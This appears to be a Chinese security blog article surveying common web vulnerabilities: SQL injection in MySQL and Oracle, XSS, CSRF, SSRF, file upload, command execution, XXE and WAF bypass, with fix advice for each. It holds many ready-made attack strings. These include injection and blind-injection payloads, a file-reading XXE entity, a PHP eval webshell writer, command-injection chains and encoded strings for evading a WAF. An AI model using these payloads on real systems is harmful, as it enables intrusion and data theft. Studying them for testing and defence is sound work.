SQL 注入
SQL 注入即是指 Web 应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在 Web 应用程序中事先定义好的查询语句的结尾上添加额外的 SQL 语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。
SQL 语句
SQL 注入基础
SQL 注入原理
- 参数用户可控:前端传给后台的参数内容是用户可控制的
- 参数带入数据库查询:传入的参数拼接到 SQL 语句,且带入数据库查询
相关知识点
information_schema 库中:
- SCHEMATA 表存储该用户创建的所有数据库的库名,需要记住 SCHEMA_NAME 字段
- TABLES 表存储该用户创建的所有数据库的库名和表名,需要记住 TABLE_SCHEMA 和 TABLE_NAME 字段
- COLUMNS 表存储改用创建的所有数据库的库名,表名和字段名。需要记住 TABLE_SCHEMA,TABLE_NAME 和 COLUMNS_NAME
函数
- database() : 当前网站使用的数据库
- version() : 当前 MySQL 的版本
- user() : 当前 MySQL 的用户
注释符
常见注释符: # 或--空格或/**/
内联注释
内联注释样式:/*! code */
eg:
index.php?id=-15/*!UNION*//*!SELECT*/ 1,2,3
UNION 注入
- 使用 order by 判断返回字段数量
- 输入错误的数据拼接想要的数据
BOOLEAN 注入
- getlength(databse())>=1(后面有单引号需要注释)判断库名长度
- substr(database(),1,1)='t' 判断库名组成字母
报错注入
1‘ and updatexml(1,concat(0x7e,(select user()),0x7e),1) --+
updatexml(XML_document, XPath_string, new_value);
| 参数 | 描述 |
|---|---|
| XML_document | String 格式,为 XML 文档对象的名称,文中为 Doc |
| XPath_string | Xpath 格式的字符串 |
| new_value | String 格式,替换查找到的符合条件的数据 |
concat()函数是将其连成一个字符串,因此不会符合 XPATH_string 的格式,从而出现格式错误,爆出用户0x7eASCII 码,实为~,**upadtexml()**报错信息为特殊字符、字母及之后的内容,为了前面字母丢失,开头连接一个特殊字符~
SQL 注入进阶
时间注入
if(expr1,expr2,expr3):如果 expr1 是 TRUE,则返回 expr2,否则返回 expr3
if(length(database())>1,sleep(5),1)
根据响应时间判断条件是否正确
堆叠查询注入
使用 ;将 SQL 语句分为两套执行
二次注入
存储数据时如字段 username=test'没有 SQL 注入漏洞,但是在查询该字段时没有进行转义,所以变为 username=’test''报错。
宽字节注入
select * from user where id = '1\'' limit 0,1
传入的单引号被转义,导致参数 ID 无法逃逸单引号包围。所以一般情况下,此处不存在 SQL 注入漏洞,但是又一种特殊情况。当数据库编码为 GBK 是,可以使用宽字节注入。
宽字节的格式是在地址偶棉先加一个 %df,再加单引号。因为反斜杠的编码为 %5c,而在 GBK 编码中, %df%5c 是繁体字 “連”,所以此时,单引号成功逃逸,报出 MySQL 数据库的错误。输入:id=1%df'%23
select * from user where id = '1連' #' limit 0,1
在 PHP 中,通过 iconv()进行编码转换时,也可能存在宽字节注入漏洞。
宽字节注入:https://blog.csdn.net/u011721501/article/details/42874517
cookie 注入
将参数通过 cookie 进行设置,然后在 cookie 注入界面通过 $_COOKIE 获取参数 ID,然后直接将参数拼接到 select 语句中进行查询。
Base64 注入
程序获取 GET 参数 ID,利用 base64_decode 对参数 ID 进行 base64 解码,然后直接将解码后的数据拼接到 select 语句中进行查询。但是由于没有对解码后的数据进行过滤,且将参数直接拼接到 SQL 中,所以存在了注入漏洞。
XFF 注入
X-Forwarded-For 简称 XFF 头,代表客户端真实 IP。
PHP 的 getenv()函数用于获取一个环境变量的值,如果环境变量不存在返回 False。
程序的参数是用户 IP,可以通过修改 HTTP 头部信息 CLIENT_IP 或 X_FORWARDED_FOR 进行注入。
Oracle 注入
注入规则:
- Oracle 使用查询语句获取数据时需要跟上表名,没有标的情况下可以使用 dual,dual 是 Oracle 的虚拟表,用来构成 select 的语法规则,Oracle 保证 dual 里面永远只有一条数据
- Oracle 的数据类型是强匹配的(MySQL 有弱匹配的味道),所以在 Oracle 进行类似 UNION 查询数据时必须让对应位置上对的数据类型和表中的列的数据类型是一致的,也可以使用 null 代替某些无法快速猜出数据类型的位置
- Oracle 的单行注释符是 -- ,多行注释符号 /**/
注入实例语句
判断列数: ‘ order by 3 --
判断回显位置: ' union select null,null,null from dual --
获取数据库版本信息: ' union select null, (select banner from sys.v_$version where rownum=1),null from dual --
获取数据库表名: ‘ union select null,(select table_name from user_tables where rownum=1),null from dual --
‘ union select null,(select table_name from user_tables where rownum=1 and table_name<>'T_USER'),null from dual --
获取关键表中的列名: ' union select null,(select column_name from user_tab_columns where table_name='T_USER' and rownum=1),null from dual --
盲注
报错盲注
参数不匹配的报错
id ==1' and 1=utl_inaddr.get_host_name((select user from dual)) --
1' and 1=ctxsys.drithsx.sn(1,select user from dual) --
1‘ and (select upper(XML_TYPE(chr(60)||chr(58)||(select user from dual)||chr(62))) from dual) is not null --
1' and (select dbms_xdb_version.checkin((select user from dual)) from dual) is not null --
1' and (select dbms_xdb_version.makeversioned(select user from dual()) from dual) is not null --
1' and (select dbms_xdb_version.uncheckout((select user from dual)) from dual) is not null
1' and (select dbms_utility_sqlid_to_sqlhash((select user from dual)) from dual) is not null --
1' and 1= ordsys.ord_dicom.getmappingxpath((select user from dual),user,user) --
1' and 1= ordsys.ord_dicom.getmappingxpath((select banner from v$version where rownum=1),user,user) --
时间盲注
1‘ and 1=(DBMS_PIPE.RECEIVE_MESSAGE('a',10) and '1'='1')
1' and 1=(selecct decode(substr(user,1,1),'S',(select count(*) from all_objects),0) from dual) and '1'='1
1' and 1=(selecct decode(substr(user,1,1),'S',DBMS_PIPE.RECEIVE_MESSAGE('a',10) ,0) from dual) and '1'='1
外带通信
- Oracle 发送 HTTP 和 DNS 请求,并将查询结果带到请求中,然后检测外网服务器的 HTTP 和 DNS 日志,从日志中获取查询结果,通过这种方式将繁琐的忙住转换成可以直接简便的获取查询结果方式
- 使用第三方平台,监听访问请求,并记录请求的日志信息,然后使用 url_http.request()向外网主机发送 http 请求,请求便携带了查询的结果信息。此处可以结合 SSRF 进行内网探测
- 利用 url_inaddr.get_host_address(),将查询结果拼接到域名下,并使用 DNS 记录解析日志,通过这种方式获取查询结果

SQL 注入绕过
-
大小写绕过
-
双写绕过
-
编码绕过
由于服务器会自动对 URL 进行一次 URL 解码,所以需要把关键词编码两次。注意:URL 编码选择全编码,而不是普通的 URL 编码。
全编码是对所有的字符进行编码,普通的 URL 编码会有特殊字符无法编码,如:! @ # $ & * ( ) = : / ; ? + '
- 内联注释绕过
SQL 注入修复建议 1. 过滤危险字符。如,采用正则表达式匹配 union,sleep,load_file 等关键字
- 使用预编译语句。需要注意:不要将变量直接拼接到 PDFO 语句中,而是使用占位符进行数据库的增删改查
XSS
跨站脚本(Cross-Site Scripting,简称 XSS)是一种针对网站应用程序的安全漏洞攻击技术,是代码注入的一种。它允许恶意客户将代码注入到网页,其他用户在浏览网页时就会受到影响。
XSS 攻击分为三类:
- 反射性
- 存储型
- DOM 型
原理
- 反射性 XSS:攻击往往具有一次性。攻击者将包含 XSS 代码得到恶意链接发送给目标用户。目标用户点击链接时,服务器接收请求并处理,然后服务器将带有 XSS 代码的数据发送给目标用户浏览器,浏览器进行解析就会触发。
- 存储型 XSS:攻击脚本将被永久地存储在目标服务器的数据库或者文件中,就有很高的隐蔽性。多见于论坛,博客和留言板。攻击者发帖时,将恶意脚本和正常信息一起注入帖子内容中,随着帖子被存储下来,其他用户浏览帖子时,恶意脚本就会在浏览器得到执行。
- DOM 型 XSS:基于 DOM 文档对象模型的一种漏洞。用户请求一个经过攻击者设计提交的 URl,服务的响应不会以任何形式包含攻击者的脚本。当用户的浏览器处理这个响应时,DOM 对象就会处理 XSS 代码,导致存在 XSS 漏洞。
攻击分析
反射性:
“><img src=1 onerror=alert(/xss/) /> 通过">闭合上一个标签,然后添加另外的恶意标签
存储型:
<img src=1 onerror=alert(/xss/) /> 输入恶意代码
DOM 型:
<img src=1 onerror=alert(/xss/) />
点击提交按钮时,触发DOM操作函数导致触发XSS漏洞
XSS 进阶
XSS 常用语句和编码绕过
XSS 常用测试语句
<script>alert(1)</script>
<img sec=x onerror=alert(1)>
<svg onload=alert(1)>
<a href=javascript:alert(1)>
JS 编码
- 三个八进制数字,如果个数不够,在前面不 0,例如 "e" 的编码为 "\145"
- 两个十六进制数字,如果个数不够,在前面不 0,例如 "e" 的编码为 "\x65"
- 四个十六进制数字,如果个数不够,在前面不 0,例如 "e" 的编码为 "\u0065"
- 对于一些特殊字符,使用特殊的 C 类型的转义风格(例如\n 和\r)
HTML 实体编码
命名实体:以&开头,以分号结尾。eg:
"<" --> "<"
字符编码:十进制,十六进制 ASCII 或者 Unicode 字符编码,样式为"&# 数值;".eg:
"<" ---> "<" 和 "<"
URL 编码
这里的 URL 编码,也是两次 URL 全编码的结果。
在使用 XSS 编码测试时,需要考虑 HTML 渲染的顺序,特别是针对多种编码组合时,要选择合适的编码方式进行测试。
修复建议
- 过滤输入的数据,包括 " ' '"," " ", " < ", " > ", "on* "等非法字符
- 对输出到界面的数据进行相应的编码转换,包括 HTML 实体编码,JS 编码等
CSRF
跨站请求伪造(英语:Cross-site request forgery),也被称为 one-click attack 或者 session riding,通常缩写为 CSRF 或者 XSRF, 是一种挟制用户在当前已登录的 Web 应用程序上执行非本意的操作的攻击方法。简单地说,是攻击者通过一些技术手段欺骗用户的浏览器去访问一个自己曾经认证过的网站并运行一些操作(如发邮件,发消息,甚至财产操作如转账和购买商品)。由于浏览器曾经认证过,所以被访问的网站会认为是真正的用户操作而去运行。这利用了 Web 中用户身份验证的一个漏洞:简单的身份验证只能保证请求发自某个用户的浏览器,却不能保证请求本身是用户自愿发出的。
原理
攻击者利用目标用户的身份,以目标用户的名义执行某些非法操作。
XSRF 攻击过程重点:
- 目标用户已经登陆了网站,能够执行网站的功能
- 目标用户和访问了攻击者构造的 URL
修复建议
- 验证请求的 Referer 值
- 在请求中放入攻击者不能伪造的信息,例如随机的 token
SSRF
SRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造请求,由服务端发起请求的一个安全漏洞。一般情况下,SSRF 攻击的目标是外网无法访问的内部系统。(因为请求是由服务端的发起的,所有服务端能请求到与自身相连而与外网隔离的内部系统)。
原理
SSRF 的形成多是由于服务端提供了从其他服务器应用获取数据的功能而没有对目标地址进行过滤和限制。
攻击方式:
- 对外网,服务器所在内网。本地进行端口扫描,获取一些服务的 banner 信息
- 攻击运行在内网或本地的应用程序
- 对内网进行指纹识别,识别企业内部的资产信息
- 攻击内外网的 Web 应用,主要是使用 HTTP GET 请求就可以实现的攻击
- 利用 file 协议读取本地文件等
修复建议
- 限制请求的端口只能为 Web 端口,只允许访问 HTTP 和 HTTPS 的请求
- 限制不能访问内网的 IP,以防止对内网进行攻击
- 屏蔽返回的详细信息
文件上传
上传文件时,服务器端代码卫队客户端上传的文件进行严格的验证和过滤,导致可以上传任意文件的情况。
JS 检测绕过攻击
- 使用浏览器插件,删除检测文件后缀的 JS 代码
- 首先把需要上传的文件后缀改为允许上传的。如 jpg,png 等,绕过 js 的检测,再抓包,把后缀名改为可执行文件的后缀即可上传成功
文件后缀绕过攻击
服务端代码中限制了某些后缀的文件不允许上传,但是有些 apache 是允许解析其他文件后缀的。
例如在 httpd.conf 中配置如下代码
AddType application/x-httpd-php .php .phtml
在 Apache 的解析顺序中,是从右到左开始解析文件后缀的,如果最右边的扩展名不可识别,那就继续往左判断,知道遇到可以解析的文件后缀名为止。是所以如果上传的文件类似 1.php.xxxx,因为后缀 xxxx 不可以解析,所以向左解析后缀为 PHP。
文件类型绕过攻击
如果服务端是通过 Content-Type 的值来判断文件的类型,那就可以通过抓包修改 Content-Type 字段绕过的可能。
PHP 中还存在相似的文件上传漏洞,函数 getimagessize()可以获取图片的宽高等信息,如果上传的不是图片文件,那么 getimagesize()就获取不到信息,则不允许上传。
此时,我们可以将一个图片和一个 WebShell 合并为一个文件
cat image.png webshell.php > image.php
文件截断绕过攻击
阶段类型: PHP %00 截断
截断原理: 由于 00 代表结束符,所以会把 00 后面的所有字符删除
截断条件:PHP 版本小于 5.3.4,PHP 的 magic_quotes_gpc 为 OFF 状态
eg:
jieduan=1.php%00.jpg
文件保存到数据库是,%00 会把".jpg"截断,那么文件名就剩下 1.php 了。
竞争条件攻击
网站上传逻辑是先允许上传任意文件,然后检查上传的为五年间是否包含 WebShell 脚本,如果包含则删除该文件。这里存在一个问题:文件上传成功和删除文件之间存在一个短的时间差(应为要执行检查文件和删除文件的操作),攻击者可以利用这个时间差竞争条件的上传攻击。
<?php
fputs(fopen('../shell.php','w'),'<?php @eval($_POST[a] ?>')
>
当 shell 脚本上传后,客户端立即访问该 shell 脚本,这样就利用时间差完成上传。
文件上传修复建议
- 通过白名单的方式判断文件后缀是否合法
- 对上传的文件进行重命名
暴力破解
暴力破解的产生是由于服务器端没有做限制,导致攻击者可以通过暴力的手段破解所需信息。
修复建议:
- 如果用户登录次数超过设置的阈值,则锁定账号
- 如果某个 IP 登录次数超过设置的阈值,则锁定 IP
命令执行
应用程序有时需要调用一些执行系统命令的函数,当黑客可以控制这些函数的参数时,就可以将恶意的系统命令拼接到正常的命令中,草儿执行攻击,这就是命令执行漏洞。
eg:
页面提供了ping命令,然后将ping的结果返回到页面上
将参数IP设置为 : 127.0.0.1 | dir ,然后再次访问,程序直接将目录结构返回到页面上。
管道符
Windows 系统支持的管道符
| 管道符 | 意义 | 示例 |
|---|---|---|
| " | " | 直接执行后面的语句 |
| " | " | |
| " & " | 如果前面的语句为假则直接执行后面的语句,前面的语句可真可假 | ping 127.0.0.1 & whoami |
| " && " | 如果前面的语句为假则直接出错,也不执行后面的语句,前面的语句只能为真 | ping 127.0.0.1 && whoami |
Linux 系统支持的管道符
| 管道符 | 意义 | 示例 |
|---|---|---|
| " ; " | 执行完前面的语句再执行后面的 | ping 127.0.0.1;whoami |
| " | " | 显示后面的语句的执行结果 |
| " | " | |
| " & " | 如果前面的语句为假则直接执行后面的语句,前面的语句可真可假 | ping 127.0.0.1 & whoami |
| " && " | 如果前面的语句为假则直接出错,也不执行后面的语句,前面的语句只能为真 | ping 127.0.0.1 && whoami |
修复建议
- 尽量不要使用命令执行函数
- 客户端提交的变量在进入执行命令函数前要做好过滤和检测
- 在使用动态函数之前,确保使用的函数是指定的函数之一
- 对于 PHP 语言来说不能完全控制的危险函数最好不要使用
逻辑漏洞
逻辑漏洞就是指攻击者利用业务的设计缺陷,获取敏感信息或破坏业务的完整性。
越权分为水平越权和垂直越权两种:
- 水平越权: 相同级别(权限)的用户或者同一角色中不同用户之间,可以越权访问,修改或者删除其他用户信息的非法操作。
- 垂直越权: 不同级别之间的用户或者不同角色之间用户的越权。例如普通用户可以执行只有管理员才能执行的功能。
修复建议
- 通过 session 控制
XXE 漏洞
XML 外部实体注入(XML External Entity) 简称 XXE 漏洞。XML 用于标记电子文件使其具有结构性的标记语言,可以用来标记数据,定义数据类型,是一种允许用户对自己的标记语言进行定义的元语言。
文档类型定义(DTD)可以是内部声明也可以 D 引用外部 DTD
- 内部声明 DTD 格式 :
<!DOCTYPE 根元素 [元素声明]>
- 引入外部 DTD 格式:
<!DOCTYPE 根元素 SYSTEM "文件名">
在 DTD 中进行实体声明时,将使用 ENTITY 关键字来声明。实体是用于定义引用普通文本或特殊字符的快捷方式的变量。实体可在外部或内部进行声明。
- 内部声明实体格式:
<!ENTITY 实体名称 “实体的值”>
- 引用外部实体格式:
<!ENTITY 实体名称 SYSTEM ”URL“>
eg:
<?xml version="1.0"?>
<!DOCTYPE a [
<!ENTITY b SYSTEM "file:///c:/windows/win.ini">
]>
<xml>
<xxe>&b;</xee>
</xml>
修复建议
- 禁止使用外部实体,eg : libxml_disable_entity_loader(true)
- 过滤用户 1 提交的 XML 内容,防止出现非法内容
WAF
WAF(Web Application Firewall , Web 应用防火墙)是通过执行一系列针对 HTTP/HTTPS 的安全策略来专门为 Web 应用提供保护的一款产品。
WAF 可以分为以下几类:
-
软件型 WAF:以软件形式装在所保护的服务器上的 WAF,由于安装在服务器上,所以可以接触到服务器上的文件,直接检测服务器上是否存在 WebShell 、是否有文件被创建等。
-
**硬件型 WAF:**以硬件形式部署在链路中,支持多种部署方式,当串联到链路中时可以拦截恶 意流量,在旁路监昕模式时只记录攻击不进行拦截。
-
**云 WAF:**一般以反向代理的形式工作,通过配置 NS 记录或 CNAME 记录,使对网站的请求 报文优先经过 WAF 主机,经过 WAF 主机过滤后,将认为无害的请求报文再发送给实 际网站服务器进行请求,可以说是带防护功能的 CDN。
-
**网站系统内置的 WAF:**网站系统内置的 WAF 也可以说是网站系统中内置的过滤,直接镶嵌在代码中, 相对来说自由度高。一般有以下这几种情况:
- 输入参数强制类型转换(intval 等)。
- 输入参数合法性检测。
- 关键函数执行(SQL 执行、页面显示、命令执行等)前,对经过代码流程的输入注行检测。
- 对输入的数据进行替换过滤后再继续执行代码流程(转义/替换掉特殊字符等)。
网站系统内置的 WAF 与业务更加契合,在对安全与业务都比较了解的情况下, 可以更少地收到误报与漏报。
WAF 判断
可以通过以下几种方法来判断目标网站中是否存在 WAF:
通过 SQLMap 判断
- 使用 SQLMap 中自带的 WAF 识别模块可以识别出 WAF 的种类,但是如果所安下面装的 WAF 并没有什么特征, SQLMap 就只能识别出类型是 Generic
- 下面以某卫士官网为例,在 SQLMap 中输入以下命令,结果如下:
sqlmap.py -u "http://xxx.com" --identify-waf --batch
手工判断
这个比较简单,直接在相应网站的 URL 后面加上最基础的测试语句,比如“union select 1,2,3%23”,并且放在一个不存在的参数名中。因为使用不正确的 URL 访问之后可能会触发 WAF 的防护,然后被拦截,拦截的表现为(增加了无影响的测试语句后):页面无法访问、响应码不同、返回与正常请求网页时不同的结果等。
绕过 WAF
- 大小写混合 : 在规则匹配时只针对了特定大写或者特定小写的情况,在实战中可以通过混合大小写的方式进行绕过(现在几乎没有这种情况。
eg:uNIon seLECt 1,2,3,4,5 - URL 编码 : 极少部分的 WAF 不会对普通字符进行 URL 编码
eg:
%75%4e%49%6f%6e+%73%65%4c%45%43%74+%31%2c%32%2c%33%2c%34%2c%35
- URL 二次编码:WAF 一般只进行一次解码,而如果目标 Web 系统的代码中进行了额外的 URL 解码,即可绕过
eg:
%25%37%35%25%34%65%25%34%39%25%36%66%25%36%65%25%32%30%25%37%33%25%36%35%25%34%63%25%34%35%25%34%33%25%37%34%25%32%30%25%33%31%25%32%63%25%33%32%25%32%63%25%33%33%25%32%63%25%33%34%25%32%63%25%33%35
- 替换关键字 : WAF 采用替换或者删除 select/union 这类敏感关键词的时候,如果只匹配一次则很容易进行绕过。
eg:
uniunionon select 1,2,3,4,5
- 使用注释 : 注释在截断 SQL 语句中用的比较多,在绕过 WAF 时主要使用其替代空格(/任意内容/),适用于检测过程中没有识别注释或者替换掉了注释的 WAF。
eg:
union/*2324*/select/*aaa*/1,2,3,4,5
- 多参数请求拆分 : 对于多个参数拼接到同一条 SQL 语句中的情况,可以将注入语句分割插入
eg:
GET url : a=[input1]&b=[input2]
sql: and a=[input1] and b=[input2]
拆分: url: a=union/*&b=*/select 1,2,3,4
sql: and a=union /*and b=*/select 1,2,3,4
- HTTP 参数污染 : 参数污染是指当同一参数出现多次,不同的中间件会解析为不同的结果。
| 服务器中间件 | 解析结果 | 举例 |
|---|---|---|
| ASP.NET /IIS | 所有出现的参数值用逗号连接 | color=red,blue |
| ASP/IIS | 所有出现的参数值用逗号连接 | color=red,blue |
| PHP / Apache | 仅最后一次出现参数值 | color=blue |
| PHP / Zeus | 仅最后一次出现参数值 | color=blue |
| JSP, Servlet / Apache Tomcat | 仅第一次出现参数值 | color=red |
| JSP, Servlet / Oracle Application Server 10g | 仅第一次出现参数值 | color= red |
| JSP, Servlet / Jetty | 仅第一次出现参数值 | color=red |
| IBM Lotus Domino | 仅最后一次出现参数值 | color=blue |
| IBM HTTP Server | 仅第一次出现参数值 | color= red |
| mod perl, libapreq2 / Apache | 仅第一次出现参数值 | color= red |
| Perl CGI / Apache | 仅第一次出现参数值 | color=red |
| mod wsgi (Python) / Apache | 仅第一次出现参数值 | color=red |
| Python / Zope | 转化为 List | color=['red',blue'] |
IIS 举例:
Inject = union select 1,2,3,4,5
转换 : Inject = union/*&inject=*/select/*&inject=*/1&inject=2&inject=3&inject=4
最终在IIS中: Inject=union/*,*/select/*,*/1,2,3,4,5
- 生僻函数 : 使用生僻函数替代常见的函数,例如在报错注入中使用 polygon()函数替换常用的 updatexml()函数。
eg:
select polygon((select*from(selct*from(select@@version)f)x));
- 寻找网站源码 IP : 对于具有云 WAF 防护的网站而言,只要找到网站的 IP 地址,然后通过 IP 访问网站,就可以绕过云 WAF 的检测
常见的寻找网站 IP 的方法如下:- 寻找网站的历史解析记录
- 多个不同区域 ping 网站,查看 IP 解析的结果
- 找网站的二级域名、 NS、MX 记录等对应的 IP
- 订阅网站邮件,查看邮件发送方的 IP
- 注入参数到 cookies 中 : 某些程序员在代码中使用*REQUEST获取参数,而*REQUEST 会一次从 GET/POST/cookie 中获取参数,如果 WAF 只检测了 GET/POST 而没有检测 cookie,可以将注入语句放入 cookie 中进行绕过
标题:Web安全攻防之常见漏洞
作者:General
地址:https://ZZUGEneral.github.io/articles/2020/10/12/1602511210520.html
一个没有得到Java开发工作的测试员!